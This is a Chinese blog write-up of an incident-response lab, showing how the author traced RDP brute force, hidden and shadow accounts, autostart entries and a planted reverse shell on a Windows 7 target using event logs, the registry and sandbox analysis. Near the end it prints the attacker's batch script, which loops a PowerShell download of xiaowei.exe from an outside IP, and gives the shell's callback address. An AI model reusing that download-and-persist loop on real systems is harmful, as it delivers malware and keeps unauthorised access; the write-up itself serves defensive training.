玄机——第四章-windows日志分析 wp

38 篇文章 28 订阅
36 篇文章 5 订阅

一、前言

玄机邀请码免费分享

题目链接:第四章-windows日志分析

点赞关注+收藏!!!三连免费送玄机注册邀请码!!!(表格中邀请码没了请私信我!!!)

【腾讯文档】玄机邀请码免费获取
https://docs.qq.com/sheet/DWUt1WU9vZmpxWFd4?tab=BB08J2

这个靶机也是出了蛮久的,之前也是一直在备赛阶段没啥时间看,最近也算是安定下来了,那我们来一起研究研究《州师傅》的靶机吧,当然也还是老话哈,放不唯一,仅供参考哈,同时也欢迎各位师傅评论区留言,大家可以一起探讨!

windows日志分析_简介

简单来说 Windows 日志分析是通过查看 Windows 事件日志来了解系统运行状态、故障原因、攻击迹象等。Windows 事件日志存储了操作系统和应用程序的重要活动信息,分为应用程序日志、安全日志、系统日志等多种类型。通过分析这些日志,我们可以发现潜在的安全威胁、排查系统故障、或调查攻击行为。

这里也简单总结了下常见的 Windows 事件ID及其含义;

安全日志相关事件ID:

  1. 4624 - 成功的账户登录事件。

    • 登录的账号、时间、来源 IP 等信息可帮助识别是否有非法登录。
  2. 4625 - 账户登录失败事件。

    • 记录未能登录的尝试,帮助检测密码爆破或非法访问。
  3. 4634 - 用户注销事件。

    • 记录用户主动注销,或超时后系统自动注销。
  4. 4672 - 特权账户登录事件。

    • 当管理员或特权账号登录时,记录该事件,检测高权限用户的使用情况。
  5. 4688 - 新进程创建事件。

    • 记录进程的创建信息,能帮助检测恶意软件的执行情况。
  6. 4697 - 系统上安装服务的事件。

    • 记录系统中安装的服务,可以检测未经授权的服务安装。
  7. 4768 - Kerberos 认证票据授予(TGT)事件。

    • 与域控制器的身份验证有关,可以帮助分析域账号是否被滥用。
  8. 4776 - NTLM 认证失败事件。

    • 在NTLM认证失败时记录,可以帮助检测异常的身份验证行为。
  9. 4719 - 审计策略更改事件。

    • 系统审计策略的更改,能帮助判断是否有恶意用户试图掩盖痕迹。

系统日志相关事件ID:

  1. 6005 - 事件日志服务启动。

    • 表示系统启动了事件日志服务,通常用于分析系统启动。
  2. 6006 - 事件日志服务停止。

    • 表示系统即将关机,通常配合其他日志判断系统是否被异常关机。
  3. 6008 - 非正常关机事件。

    • 系统意外关闭时记录,用于检测系统崩溃或强制关机。
  4. 7045 - 服务安装事件。

    • 记录系统中安装的新服务,通常用于分析是否有恶意服务被安装。

应用程序日志相关事件ID:

  1. 1000 - 应用程序崩溃事件。

    • 记录应用程序崩溃的详细信息,包括错误代码和故障模块名称。
  2. 4621 - 应用程序挂起事件。

    • 用于分析应用程序无响应、卡死的原因。

多了也记不住,记一些基本的就差不多了,当然掌握更多常用事件ID,那肯定是有助于我们快速检测安全威胁和系统故障。

二、概览

简介

服务器场景操作系统 Windows7
服务器账号密码:winlog/winlog123
连接端口为:ip:3389
按照题目提示可以根据系统功能分析,或桌面工具进行辅助分析
注意:远控软件内IP为虚拟IP,如在进行进程中没有找到相关外连,应该是由于连接超时造成的断开了,重启环境服务器或软件即可继续对外发起请求,请见谅
注意:题目中shell如需在本地分析,提前关闭杀毒软件,会被杀掉,非免杀
注意:winlog用户在操作关于系统权限功能时,一定要使用管理员权限打开工具再去执行
如:cmd直接打开则可能无法进行操作系统权限性操作,需右击cmd-使用管理员权限打开,才可以,其它工具也如此;

题目描述:
某台Windows服务器遭到攻击者入侵,管理员查看发现存在大量rdp爆破的请求,攻击者使用了不同位置的IP(此处模拟),进行爆破并成功,并成功进入了系统,进入系统后又做了其它危害性操作,请根据各题目完成填写
题目来源公众号 州弟学安全
文档:https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ
任务环境说明
本次环境来自大赛+实战等环境,思路和灵感感谢Zeal大哥提供,基本围绕应急响应中重要的几点去排查
环境仅供学习思路和参考,答案不重要,思路最重要

开放题目

1、审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
2、审计相关日志,提交rdp被爆破失败次数
3、审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
4、提交黑客创建的隐藏账号
5、提交黑客创建的影子账号
6、提交远程shell程序的连接IP+端口,以IP:port方式提交
7、黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
8、黑客使用了计划任务来定时执行某shell程序,提交此程序名字

三、参考文章

玄机-windows日志分析_

学习干货|实战学习应急响应之Windows日志分析(附镜像)

四、步骤(解析)

准备步骤#1.0

靶机环境是windows,所以这里正常的我们使用“远程桌面”连接即可,那这里使用连接靶机的工具不唯一,这里我使用的是Microsoft自带的远程桌面连接工具,但是这里需要注意可能有些电脑是不自带的,不过没关系这里安装包已为师傅们准备好,下载完毕双击安全即可!

123网盘下载:

https://www.123pan.com/s/q2J1jv-r8avd.html
提取码:0905

安装完成进入主页,点击右上角添加—>电脑即可;

在这里插入图片描述

接着启动环境获取靶机IP:43.192.51.193 / 10.0.10.2

返回“桌面远程连接”将刚刚启动得到的靶机IP输入即可,最后点击保存,返回桌面,再次点击刚刚创建好的靶机连接即可;

在这里插入图片描述

进去之后再次输入正确的用户密码即可:winlog/winlog123

在这里插入图片描述

最后也是成功进入主页,就是延迟有点高,但是正常操作问题不是很大(比某好信安的todesk好的不要太多),那我们耐心一些即可;

在这里插入图片描述

步骤#1.1
1、审计桌面的logs日志,定位所有扫描IP,并提交扫描次数

解题思路

那这里题目已经明确告诉我们了“审计桌面上的logs日志”并且定位所有扫描的IP最后提交扫描的次数即可,那这里我们也是很快就发现了需要分析的日志,别的暂且不谈就这个大小,我相信大家不需要怀疑了吧?

在这里插入图片描述

但是这里打开“access.log”发现日志太多了,看着眼睛实在有点眼花,所以这里我们可以偷个懒,将靶机中的日志”access.log“直接”复制粘贴“到我们的本机中,接着使用”Liunx“命令进行简单筛选即可,大致的操作步骤确实是如此(其实就是延迟太高了不建议大家在靶机中进行肉眼分析,可以复制粘贴到本机中进行分析);

那这里我已通过将靶机中的“access.log”日志“复制”到我的本机中,再由本机移动至我的“kali”中进行分析;

使用命令:

awk '{print $1}' access.log | sort | uniq -c | sort -nr

简单分析:

命令很简单就是用于分析 access.log 文件中的 IP 地址并统计它们的出现次数再将他们出现的次数以数值降序排列:

  • awk '{print $1}' access.log: awk 是一个文本处理工具,{print $1} 表示输出每一行的第一个字段。假设 access.log 是一个典型的 HTTP 访问日志文件,那么第一个字段通常是客户端的 IP 地址,因此这一步提取了所有的 IP 地址。

  • sort: 对提取出的 IP 地址进行排序。排序的目的是为后续的统计做准备,uniq 只能统计相邻的相同项,必须先对数据排序。

  • uniq -c: 统计每个唯一 IP 地址的出现次数,-c 选项会在统计结果的左侧加上计数。例如,结果将显示某个 IP 出现了多少次。

  • sort: 最后对统计结果再进行一次排序。这里没有指定 -n(数值排序)或 -r(逆序排序),默认是按字母顺序排序。

  • sort -nr: 这样会根据出现次数以数值降序排列,先展示出现频率最高的 IP 地址。

在这里插入图片描述

得到;

6331 192.168.150.67
524 192.168.150.1
169 127.0.0.1
 54 192.168.150.33
  1 192.168.150.60

最后挨个进行提交发现怎么提交都不正确,后来仔细观察才有所发现,“127.0.0.1”为本地IP,所以不可能是,那我们再次返回日志简单分析一下试试;

前面都是本地IP“127.0.01”,往下翻一些,就看见“192.168.150.1”,仔细观察我们可以发现它后面的url为业务站点IP,所以也不是;

在这里插入图片描述

再往下翻一些,可以发现“192.168.150.33”这个IP的“user-agent”有个“nmap”,而且响应状态一直是“400”这些以及URL后面一大串字符可以判断这是一个恶意的IP;

再说说“nmap”这个工具:

Nmap的常见用途:

  • 网络安全审计:用于评估网络中存在的安全漏洞。
  • 网络管理:帮助管理员监控和管理网络设备的健康状况。
  • 渗透测试:渗透测试人员经常用Nmap来识别网络中的弱点。
  • 网络探测:用于发现网络中的活跃主机和设备。

在这里插入图片描述

再往下翻一些,会发现“192.168.150.67”更为夸张,URL中既然出现了"PHP"以及各种奇怪的“绕过姿势”,所以脚想想都知道这也是一个恶意IP!

在这里插入图片描述

结合我们之前分析的,除本地IP"127.0.01"以及“192.168.150.1”这个业务站点IP,就是我们分析出来的恶意IP“192.168.150.33”及“192.168.150.67”这个两个IP,再结合题目的要求“扫描次数”,所以及有可能是他们两个的总数,也就是要他们出现的次数相加进行提交;

恶意IP:

6331 192.168.150.67
54 192.168.150.33

至此;

flag{6385}

做完这题突然发现这里其实是留了个坑的,因为一开始的时候我们都没有仔细审题,没有注意到问题中的“定位所有扫描IP,并提交扫描次数”中的“扫描”二字,题目的意思是说让我们提交恶意的IP,所以下次遇到还是要留个心眼。

步骤#1.2
2、审计相关日志,提交rdp被爆破失败次数

解题思路

题目让我们提交"rdp"被爆破失败次数,那这里可能有的师傅不明白专业术语什么是“rdp”,那这里我们先简单说一下:

简单来说,RDP(Remote Desktop Protocol,远程桌面协议)是由微软开发的一种网络通信协议,主要用于远程连接和管理计算机。通过 RDP,用户可以在一台设备上远程控制另一台设备的桌面,并与它进行交互,就像本地操作一样。

那爆破就不需要我再详细说明了吧,而且题目中也明确说明是爆破失败的次数,那这样我们就可以通过查看系统的安全日志来审计RDP爆破攻击的失败次数。RDP爆破通常会产生大量登录失败的事件,登录失败的事件 ID 是 4625。通过统计这些事件的数量,我们就可以得出爆破攻击失败的次数数。

那这里我们可以直接“WIN+R”,输入“eventvwr.msc”,或者我们直接可以在搜索框输入“事件查看器”也是可以直接查看进行分析;

搜索框输入“事件查看器”即可;

在这里插入图片描述

接着点击windows 日志—>安全,再然后点击右边的筛选当前日志即可;

在这里插入图片描述

最后输入事件ID"4625"点击确认即可查看;

在这里插入图片描述

最后通过分析,发现审核失败也就是登录失败的事件数:2594

在这里插入图片描述

那最后根据题目的要求:提交rdp被爆破失败次数

至此;

flag{2594}
拓展1.1

当然这里如果想更深入进行分析,我们可以将筛选出来的日志导出进行分析;

具体操作点击右边将已筛选的日志文件另存为,保存位置为桌面,最后点开分析即可;

在这里插入图片描述

这边也是成功导到桌面,最后也是借助桌面的工具“FullEventLogView”导入分析;

FullEventLogView工具简介:

FullEventLogView 是一款由 NirSoft 开发的轻量级工具,用于查看和导出 Windows 事件日志的详细信息。它提供了一个直观的界面,方便用户浏览 Windows 系统中的所有事件日志,并支持多种过滤和排序功能。

在这里插入图片描述

最后打开也是很快就发现了黑客的IP;

双击打开“FullEventLogView”,点击文件—>从单个日志加载文件事件—>选中刚刚我们保存的".evtx"日志文件—>确认即可;

在这里插入图片描述

打开之后往下翻翻,随便点击一个即可看见黑客IP;

在这里插入图片描述

那我们就暂且分析到这里;

步骤#1.3
3、审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交

解题思路

题目让我们提交成功登录rdp的远程IP并且多个以&进行连接最后按照从大到小排序进行提交,从题目中问题不难看出IP肯定是不止一个的,那我们还是继续在“事件查看器中”也就是“window日志”中进行分析,那这里我们可以筛选主要的两个事件ID“成功登录-4624”及“登录失败-4625”中进行筛选分析;

  • 4624:成功登录事件
    • 当有用户成功通过远程桌面协议 (RDP) 登录时,系统会生成事件 ID 为 4624 的日志。这表示登录操作成功,包括远程登录。
    • 你可以通过筛选事件 ID 4624 来查找成功的登录,并进一步获取登录的远程 IP 地址。
  • 4625:登录失败事件
    • 当用户尝试登录但失败时,系统会生成 4625 事件 ID 的日志,表明登录操作未成功。这适用于密码错误、账户锁定等情况。
    • 可以通过筛选事件 ID 为 4625 的日志来查找登录失败的尝试。

那这里我们还是按照刚刚题二的操作,使用工具“FullEventLogView”导出日志进行分析;

注意!!!这个问题经常会在面试HVV,蓝初中经常被提问。

筛选事件ID“4624”,点击确认即可;

在这里插入图片描述

那我们这边也是筛选203条记录,接着点击将已筛选的日志文件另存为,在弹出的保存窗口中,文件名随便,这里建议保持位置为桌面,因为这样方便查找!;

在这里插入图片描述

接着双击桌面的文件“FullEventLogView”,点击运行,最后还是按照之前的操作导入日志我们保持的日志即可,详细步骤见题二!!!这里不再强调!

当然这里为了节省些时间,毕竟这个点一下反应半天,延迟真的太高了。而且记录也没有多少条,去除我们的本地IP,以及我们登录时间也就是上面的“10/3”号登录的都不需要看之前,其余的慢慢统计,得出:192.168.150.1&192.168.150.128&192.168.150.178

192.168.150.178

在这里插入图片描述

192.168.150.1

在这里插入图片描述

192.168.150.128

在这里插入图片描述

这边首先简单按照时间排个序,接着慢慢点击进行分析查看很快就全部发现;

拓展1.2

当然还有更便捷一些的方法,我们直接筛选事件ID-4648,那可能有的师傅对window日志的事件ID并不是很熟悉,那我们来一起分析一下,为什么要使用事件ID4648;

首先事件 ID 4648 在 Windows 事件日志中代表 “使用显式凭据登录”,这意味着用户在登录时手动输入了用户名和密码,而不是通过自动登录或凭据缓存来进行身份验证。筛选 4648 事件通常是为了获取有关使用特定账户显式登录的信息,尤其是远程桌面协议 (RDP) 场景下。

为什么可以筛选事件 ID 4648?

在远程桌面协议 (RDP) 登录时,尤其是在企业环境中,用户通常会手动输入用户名和密码。这个动作会记录一个 4648 事件,表示凭据是显式输入的。

结合 4624(成功登录)与 4648(显式凭据登录)可以更好地了解 RDP 登录行为:

  • 4624 只记录了成功的登录事件,但没有明确说明登录凭据是如何被输入的。
  • 4648 则能补充说明登录时是否是手动输入了凭据,表明是用户在 RDP 会话中显式输入了用户名和密码。

筛选 4648 的作用:

  1. 补充信息:4624 事件只告诉你有用户成功登录了系统,但没有明确提供登录的方式。通过筛选 4648,你可以更精确地判断用户是否在登录过程中输入了凭据。

  2. 追踪用户登录行为:在某些情况下,远程登录的行为可能会有安全隐患(如凭据被盗、使用恶意软件登录)。通过 4648 事件,可以更清晰地了解用户是如何输入凭据的,并检查是否有可疑的凭据使用。

  3. 关联 RDP 登录:当通过 RDP 登录时,显式凭据输入(即输入用户名和密码)会记录一个 4648 事件,这有助于追踪哪些用户在远程登录时输入了凭据。

筛选事件ID4648得到;

在这里插入图片描述

也是很快可以得到,而且这样一来筛选的速度会便捷很多,因为筛选出来的记录并不是很多,记录也更为准确,当时也要看具体情况来使用,这里就比较适合!

至此;

flag{192.168.150.1&192.168.150.128&192.168.150.178}
步骤#1.4
4、提交黑客创建的隐藏账号

解题思路

题目让我们提价黑客创建的隐藏账号,那这里就比较有意思了,为什么这样说呢,因为这题的做法很多,那我们来一个一个进行分析;

首先我们还是可以继续使用“事件查看器”来进行分析,筛选事件ID为“4720”的,那为什么要筛选这个ID呢?

方法一

简单来说筛选 事件 ID 4720 是因为在 Windows 系统中,事件 ID 4720 专门用于记录 用户账户创建 的事件。当一个新用户账户被创建时,Windows 会自动生成一个带有这个 ID 的日志条目,详细记录该账户的相关信息。

具体原因及用途:

  1. 事件 ID 4720 是特定于用户账户创建的日志:

    • 当黑客创建隐藏账号时,系统会生成一个 ID 为 4720 的事件,因此通过筛选此 ID,可以精准找到黑客创建的账号。
  2. 日志内容包含关键信息

    • 事件 ID 4720 的日志内容包含了以下重要信息:
      • 创建的用户账户名。
      • 创建账户的时间。
      • 触发创建操作的来源(例如通过远程桌面或本地创建)。
      • 创建账户的用户权限。
  3. 帮助快速定位可疑用户

    • 筛选出所有 ID 为 4720 的事件后,可以逐一检查哪些账户是在特定的时间段被创建的。这样有助于快速发现那些由黑客创建的隐藏账户,尤其是那些出现在不正常时间点的账户。

筛选事件ID“4720”简单分析一下得到;

在这里插入图片描述

筛选出来的记录也是一点都不多,我们随便翻翻很快就发现了可疑的“新用户”——hacker$,我们直接提交发现正确!

在这里插入图片描述

拓展1.3

方法二

当然刚刚我们也是说了,方法肯定不止这一个,哎那这里有的师傅可能就想抢答了,我们也经验使用命令:net user——列出所有的用户,从而慢慢分析!那到底行不行呢,我也不知道,因为我也没进行尝试,那这里我们来一起看看!

直接搜索栏搜索“cmd”即可

命令:

net user

列出所有用户

在这里插入图片描述

很遗憾我们并没有发现,那这是为什么呢?因为有的时候黑客会对创建的用户进行隐藏,从而让喜欢偷懒的我们使用命令:net user,没有出现可疑用户,那这时候怎么办呢?刚刚第一种方法我也说了日志记录不是很多的,可以去看看日志,多了不想看,我们也还是有办法!

我们可以直接使用“WIN”+“R”输入“lusrmgr.msc”,或者直接“cmd‘”输入“lusrmgr”也是可以,那这里可能有的师傅就疑问了,这个“lusrmgr”到底是干啥的?

简单来说lusrmgr.mscWindows 本地用户和组管理器(Local Users and Groups Management)的一个管理控制台。它允许管理员在本地系统上管理用户账户和用户组。这个工具可以帮助你查看、创建、删除或修改本地用户和组。

lusrmgr.msc 的具体用途:

  • 查看和管理本地用户:你可以查看系统中所有现有的本地用户账户,包括标准用户、管理员账户等。
  • 查看和管理本地组:你可以查看和修改本地组,并管理哪些用户属于特定的组,比如 Administrators、Users 等。
  • 修改用户账户:你可以启用/禁用用户、重置密码、更改权限。

查找黑客创建的隐藏用户具体操作!

  1. 查看所有本地用户

    • 通过打开 lusrmgr.msc,你可以看到系统中所有的本地用户,包括那些看似隐藏或可疑的用户。
    • 黑客可能创建了隐藏账户并将其加入管理员组,利用这个账户获取系统权限。
    • 你可以检查是否有不常见或看起来异常的用户,尤其是那些不应该存在的用户账户。
  2. 检查账户状态

    • 黑客可能会创建一个账户,但将其设置为“禁用”状态,直到需要时再启用。通过查看用户的状态,你可以发现这些被禁用的可疑账户。
  3. 检查用户组

    • 黑客通常会将隐藏用户加入 Administrators 或其他具有高权限的组中。你可以通过查看这些组的成员来识别是否有不该存在的用户。
  4. 识别新建账户

    • 如果系统上突然多出了一个你不熟悉的账户(尤其是带有管理员权限的账户),这可能就是黑客创建的隐藏账户。

“cmd”打开分析得到;

在这里插入图片描述

也是很快发现了黑客创建的隐藏用户:hacker$

但是下面发现还有惊喜,仔细观察有一个:hackers$用户,这个用户比较有意思,可能有的师傅是第一次见,那我这里简单分析一下;

简单来说这是影子用户(Shadow Accounts),是那些表面上看不出来的用户账户。它们通常不会出现在普通用户列表中,但实际上却存在,具有某些系统或网络访问权限。这类用户通常被黑客用来隐藏自己的活动,避免系统管理员发现。

但是这里就让我们发现了也是奇怪,后来去看了“州师傅”的wp,师傅也很是意外为什么会出现在这里,而且还删不掉哈哈哈哈,这让我们这些偷懒的又提前发现了!

方法三

当然这里还有一个比较通用的命令:wmic useraccount get Name

这个命令比较有意思,这是为什么呢?那我们来一起说一下!

简单来说wmic useraccount get Name 是在 Windows 系统中使用 WMIC(Windows Management Instrumentation Command-line) 命令行工具查询本地计算机上所有用户账户名称的命令。它会列出所有用户账户的名称,包括本地用户和系统用户。

命令分解:

  • wmic:Windows 管理工具的命令行接口,允许用户从命令行查询系统信息。
  • useraccount:指定查询的对象为用户账户。
  • get Name:获取用户账户的名称。

输出的结果:

运行这个命令后,系统会输出一列包含当前计算机上所有用户账户名称的列表。我们可以使用这个命令快速查看计算机中有哪些用户账户,特别是在审计或安全检查时用来检测是否有不明或可疑的账户。

“cmd”得到;

在这里插入图片描述

也是很快就发现了黑客隐藏的用户以及影子用户;

至此;

flag{hacker$}
步骤#1.5
5、提交黑客创建的影子账号

解题思路

题目让我们提交黑客创建的影子账号,其实这里我们根据题四就已经得出了正确的答案,但是这得出的过程并不是我们想要的,“州师傅”也在题中所说,靶机是由于它的操作疏忽所以才导致可以直接查出影子账号,但是现实中我们是难以查出的,所以这里我们还是按照正常的流程来查找一下影子账号吧!

那这里我们还可以通过”注册表“来查找黑客创建的影子账号,因为黑客有时会通过修改注册表的方式,隐藏他们创建的用户账户,或让某些账户不显示在常规的用户管理界面中。Windows 的注册表是存储系统和应用程序设置的地方,隐藏账户或系统账户的设置信息也可能在注册表中有所体现。

这里我们可以使用win + R打开运行窗口,输入regedit回车,可以直接打开注册表编辑器,当然也可以直接搜索框输入“regedit”,再然后也可以唤出“cmd”接着输入 regedit,然后回车同样也是可以找出注册表!

得到;

在这里插入图片描述

找到注册表地址:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

简单来说就是这个路径列出了系统中存在的所有用户账户,如果有账户不出现在用户管理工具中,但在这里可以找到,那它可能是被隐藏的账户。

当然除了这里,我们也可以就近使用桌面的工具“D_Safe_Manage”右键“以管理运行”打开之后使用“克隆检测”同样也是可以找出影子账号;

在这里插入图片描述

这里暂且说两种方法;

至此;

flag{hackers$}
拓展1.4

到现在也没有好好的介绍一下什么是影子用户,它有什么用,那下面我们就简单说一下,感兴趣的师傅可以一起来看看;

影子用户,也叫隐藏用户,是在操作系统中存在但不会出现在常规用户管理工具中的账户。这类账户通常是为了在不被发现的情况下维持对系统的访问权限而创建的。它们不会显示在 Windows 的常规用户界面中(例如 lusrmgr.msc 或者 控制面板 的用户管理界面),因此更难被发现。

影子用户的作用和使用场景:

  1. 持久化后门

    • 黑客创建影子用户是为了在系统中建立一个持久化的后门,防止管理员发现并删除他们的恶意账户。
    • 通过这个影子用户,黑客可以在日后继续访问系统,即使管理员已经删除了其他可见的账户。
  2. 规避检测

    • 因为影子用户不会出现在常规的用户列表中,使用系统的工具如 net userlusrmgr.msc 时,这些账户不容易被发现。
    • 系统管理员可能不会意识到系统中存在额外的账户,这使得黑客的行为更加隐秘。
  3. 提升权限

    • 影子用户通常具有管理员权限,黑客可以利用这些账户在系统中执行各种高级操作,如安装恶意软件、窃取数据或篡改系统配置。
  4. 避免被删除

    • 一些影子用户可能被设计为在常规清理过程中不被删除,或者重新创建,即使管理员尝试清除恶意账户,这种隐藏用户依然会存在。

如何创建影子用户:

黑客可以通过多种方式创建影子用户,通常包括:

  • 修改注册表:通过编辑注册表中的特定键,隐藏某些用户账户。
  • 操作系统命令:使用命令行创建具有管理员权限的隐藏用户,并设置相关策略使其不显示在登录界面或用户管理工具中。
  • 篡改系统文件:修改系统文件或 DLL 文件,使得账户管理工具不显示某些账户。

影子用户的风险:

  • 隐蔽性强:影子用户在常规用户管理工具中不可见,这使得它们的存在不容易被察觉。
  • 持久性威胁:如果影子用户未被检测到,黑客可以长期保持对系统的访问权,并进行进一步的攻击操作。
  • 难以清除:在影子用户不被发现的情况下,系统很难完全移除恶意攻击者的后门。

总结:

影子用户是黑客常用的持久化后门技术,利用它可以在系统中长期隐匿存在,从而规避检测并维持对系统的访问权限。对于管理员来说,检测并清理影子用户至关重要,需要借助更高级别的分析工具,例如查看注册表或分析事件日志,才能发现这些隐藏的账户。

步骤#1.6
6、提交远程shell程序的连接IP+端口,以IP:port方式提交

解题思路

题目让我们提交远程shell程序的连接IP及端口以IP:port方式进行提交,那既然问我们靶机对外连接的IP及端,这在很多“应急响应”的靶机中都会出现的题目,所以这里我们可以直接使用命令:netstat -ano,来看看系统中的所有网络连接;

唤出“cmd”,输入命令:netstat -ano

得到;

在这里插入图片描述

但是这里并没有找到我们想要的,这边按道理来说会出现可疑的IP,但是这里并没有发现,也是前前后后都尝试了几次,也去看“州师傅”的,发现可能是靶机环境有问题连接超时并没有出现,按道理来说这里就应该出现一个可疑连接;

原图;

在这里插入图片描述

但是这里并没有出现,不过也没关系,这也并不能难为到我们,我们可以直接先去查看“计划任务”看看有没有什么可疑的shell,我们可以导出丢进沙箱里面进行分析得出连接的IP;

搜索框直接查找“计划任务”即可;

在这里插入图片描述

很快就发现了可疑之处,确实有那么一个自启动运行的shell,我们可以双击进行分析;

在这里插入图片描述

得到;

在这里插入图片描述

很快就发现了:xiaowei.exxe,这个后缀肯定就是为了不被杀掉为exxe才这样;

当然我们也不止这一种方法可以找到“xiaowei.exxe”,我们也可以查找注册表,具体路径为:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

该路径下的自启动项适用于所有用户,即只要计算机启动,所有用户登录时这些程序都会自动运行:

那我们直接“win + r”唤出“注册表”进行查找得到;

在这里插入图片描述

同样是可以找到“xiaowei.exe”,那就暂且说两种方法;

顺着路径找过去也是很快就发现了:xiaowei.exe

在这里插入图片描述

直接复制粘贴出来,我们直接丢进“微步沙箱”分析一下;

微步在线云沙箱

得到;(这里如果复制粘贴到本机的时候一直出现危险弹窗,可以尝试去关闭“window安全中心”,或者添加一个排除项文件夹)

在这里插入图片描述

我们看一下“网络行为”;

在这里插入图片描述

最后的最后也是成功找出“shell程序的连接IP+端口”,当然这里不仅找出了连接IP和端口,我们shell程序是那个兜找出来了!

至此;

flag{185.117.118.21:4444}
步骤#1.7
7、黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字

解题思路

题目让我们找出“黑客植入了一个远程shell”的程序名字,这题应该出在前面的,因为前一题我们将该找的不该找的都全部找出来了,不过没关系,防止有的师傅还是一知半解,我们再简单来捋捋思路;

题目中既然都说是开机外连了,那无非就是自启动;(这里“州师傅”总结的很好直接照搬即可)

1. C:\Users\winlog\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
快捷命令:WIN+R shell:startup 将预自启动程序放入目录,会自启

2. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
注册表自启动:快捷键:WIN+R regedit 将绝对路径下程序进行字符串值保存会开机自启

3. 搜索计划任务,进入任务计划程序,查看相关启动程序

因为这里一直连接超时的原因,我们没有办法直接复现“netstat -ano”的场景,不过我们可以直接去查找“自启动”的“注册表”,也就是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

得到;

在这里插入图片描述

也是很快就发现了,那我们直接跟进目录,将“xiaowei.exe”移动至我们“本机”,最后使用“微步在线云沙箱”进行分析得出这是一个shell程序!

在这里插入图片描述

在这里插入图片描述

以上分析直接是石锤了,没啥好分析了;

至此;

flag{xiaowei.exe}
步骤#1.8
8、黑客使用了计划任务来定时执行某shell程序,提交此程序名字

解题思路

题目让我们提交计划任务来定时执行某shell程序,很明显的提示“计划任务”,都这样说了,能怎么办?去“计划任务”瞅瞅呗

当然,上面已经说了关于计划任务的一些排查思路,按照实战中,攻击队或黑客为了权限维持,不会只放一个远控工具,一般会埋雷进行启动计划任务,根据上方思路排查到,计划任务程序中存在的计划(州师傅原话)

搜索框直接搜索“计划任务”即可;

在这里插入图片描述

我们很快也是发现了在每天的晚上23点07会进行下载xiaowei.exe文件 ,那我们点击“操作”即可看见执行的绝对路径!;

在这里插入图片描述

那我们顺着路径找过去,选中右键“编辑”打开进行分析;

C:\Windows\zh-CN

在这里插入图片描述

简单分析一下;

这段批处理脚本(.bat 文件)是一个自动循环的任务,用于定期从特定的服务器下载一个名为 xiaowei.exe 的文件。脚本通过 Invoke-WebRequest 命令从远程 IP 地址 185.117.118.21 的指定端口 1111 上获取文件,并将其保存到本地的指定目录。

详细分析:

@echo off

隐藏命令行输出,防止命令的内容显示在控制台中,保持界面的整洁。

:loop

这是一个标签,标记了脚本循环的开始位置。goto 命令会跳转到该标签,从而形成一个循环。

echo Requesting download from 185.117.118.21:1111/xiaowei.exe...

每次循环开始时,显示一条信息,告知正在请求从指定的远程 IP 下载文件。

start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
    使用 PowerShell 的 Invoke-WebRequest 命令从远程服务器下载文件:
        http://185.117.118.21:1111/xiaowei.exe 是文件的下载 URL。
        C:\Windows\system64\systemWo\xiaowei.exe 是文件保存到本地的路径。
    start /b 会在后台运行该命令,避免阻塞脚本的执行。

timeout /t 300 /nobreak >nul

设置脚本等待 300 秒(5 分钟),在此期间不会中断。>nul 表示抑制命令的输出,不显示倒计时。

goto loop

命令将脚本跳回到 :loop 标签处,重新执行下载请求,形成一个无限循环。

总结:

这个脚本定期(每 5 分钟)尝试从远程服务器 185.117.118.21 的端口 1111 下载一个名为 xiaowei.exe 的文件,并将其保存到本地的 C:\Windows\system64\systemWo\ 目录中。

所以最后题目问我们的“使用了计划任务来定时执行某shell程序”;

至此;

flag{download.bat}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值